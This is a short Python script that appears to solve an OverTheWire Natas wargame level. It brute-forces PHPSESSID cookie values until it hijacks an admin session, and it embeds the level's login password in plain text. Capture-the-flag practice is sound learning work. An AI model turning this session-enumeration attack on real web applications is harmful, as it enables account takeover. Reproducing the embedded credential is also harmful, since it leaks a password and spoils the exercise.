#!/usr/bin/env python

import pycurl, requests
import time

url = 'http://natas18.natas.labs.overthewire.org/index.php'
username = 'natas18'
password = 'xvKIqDjy4OPv7wCRgDlmj0pFsCsDjhdP'

exists = 'You are an admin.'

for i in range(1,641):
    urlAll = url+'?username=admin&password=123'
    #print urlAll
    cookies = dict(PHPSESSID=str(i))
    r = requests.get(urlAll, auth=(username, password), cookies=cookies)
    #print r.headers
    if exists in r.text:
        print i,"Success!!!"
        print r.text
        break
    else:
        print i,"no",r.text.find('You are logged in as a regular user.')